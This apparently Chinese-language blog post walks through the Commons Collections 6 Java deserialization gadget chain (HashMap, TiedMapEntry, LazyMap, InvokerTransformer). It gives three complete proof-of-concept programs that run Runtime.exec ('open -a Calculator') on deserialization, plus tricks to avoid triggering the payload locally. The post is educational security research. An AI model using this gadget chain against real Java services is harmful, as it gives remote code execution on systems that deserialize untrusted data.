JAVA安全-08反序列化篇(4)-CC6

上⼀篇详细分析了CommonsCollections1这个利⽤链,但是在Java 8u71以后,这个利⽤链不能再利⽤了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了,新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。

CommonsCollections6链中,ysoserial的代码过于复杂了,⽽且其实⽤到了⼀些没必要的类。P牛做了简化,本篇文章针对P牛简化版进行分析为主。

ysoserial的链

	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

p牛版

					     java.io.ObjectInputStream.readObject()	
							    java.util.HashMap.readObject()
									java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

主要区别是HashSet,它不是必须的。

CC1 InvokerTransformer.transform()到LazyMap.get()的链还是可以使用的,CC6找调用get()方法的类是TiedMapEntry,在getValue⽅法中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法。

TiedMapEntry

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

    /** Serialization version */    
    private static final long serialVersionUID = -8453869361373831205L;

    /** The map underlying the entry/iterator */    
    private final Map map;
    /** The key */
    private final Object key;

    /**
     * Constructs a new entry with the given Map and key.
     *
     * @param map  the map
     * @param key  the key
     */
    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

    // Map.Entry interface
    //-------------------------------------------------------------------------
    /**
     * Gets the key of this entry
     * 
     * @return the key
     */
    public Object getKey() {
        return key;
    }

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
  //利用点
    public Object getValue() {
        return map.get(key);
    }

    /**
     * Sets the value associated with the key direct onto the map.
     * 
     * @param value  the new value
     * @return the old value
     * @throws IllegalArgumentException if the value is set to this map entry
     */
    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        }
        return map.put(key, value);
    }

    /**
     * Compares this <code>Map.Entry</code> with another <code>Map.Entry</code>.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#equals(Object)}
     * 
     * @param obj  the object to compare to
     * @return true if equal key and value
     */
    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        }
        if (obj instanceof Map.Entry == false) {
            return false;
        }
        Map.Entry other = (Map.Entry) obj;
        Object value = getValue();
        return
            (key == null ? other.getKey() == null : key.equals(other.getKey())) &&
            (value == null ? other.getValue() == null : value.equals(other.getValue()));
    }

    /**
     * Gets a hashCode compatible with the equals method.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
     * 
     * @return a suitable hash code
     */
   //利用点
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

    /**
     * Gets a string version of the entry.
     * 
     * @return entry as a string
     */
    public String toString() {
        return getKey() + "=" + getValue();
    }

}

到这,找哪⾥调⽤了 TiedMapEntry#hashCode 。就和URL那条链差不多了,在 java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调⽤,⽽hash⽅法中,调⽤到了key.hashCode() 。所以,只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过程,构成⼀个完整的Gadget。

POC编写

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open -a Calculator"}),
                
        };
        //把transformers的4个Transformer执行
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "Roderick");
        Map tmap = LazyMap.decorate(map, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(tmap, "keykey");

        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tme,"aaa");


        //序列化写文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outCC6.bin"));
        oos.writeObject(map2);
        //反序列化触发payload
/*        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outCC6.bin"));
        ois.readObject();*/
    }
}

根据链写到这 序列化的时候map2.put会触发,我们要避免它触发,防止本地调试时触发命令执⾏。构造LazyMap的时候先⽤了没用的new ConstantTransformer(1)对象,等最后要⽣成Payload的时候,再把真正的 transformers 替换进去。

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open -a Calculator"}),

        };
        //把transformers的4个Transformer执行
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "Roderick");
        //先放一个没用的Transformer
        Map tmap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tme = new TiedMapEntry(tmap, "keykey");

        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tme,"aaa");

        //序列化时把命令执行的放进去
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(tmap,transformerChain);

        //序列化写文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outCC6.bin"));
        oos.writeObject(map2);
        //反序列化触发payload
/*        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outCC6.bin"));
        ois.readObject();*/
    }
}

此时序列化不会弹出计算器,但反序列化也没有弹计算器,原因是map2.put之后已经把 tmap放进去了,我们需要把它移出。完整的poc如下

public class CC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open -a Calculator"}),

        };
        //把transformers的4个Transformer执行
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "Roderick");
        //先放一个没用的Transformer
        Map tmap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tme = new TiedMapEntry(tmap, "keykey");

        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tme,"aaa");
     	  //移出 tmap, "keykey"
        tmap.remove("keykey");
        //序列化时把命令执行的放进去
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(tmap,transformerChain);

        //序列化写文件
/*        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("outCC6.bin"));
        oos.writeObject(map2);*/
        //反序列化触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("outCC6.bin"));
        ois.readObject();
    }
}


这个利⽤链可以在Java 7和8的⾼版本触发,没有版本限制

posted @ 2022-06-09 20:14  九天揽月丶  阅读(180)  评论(0编辑  收藏  举报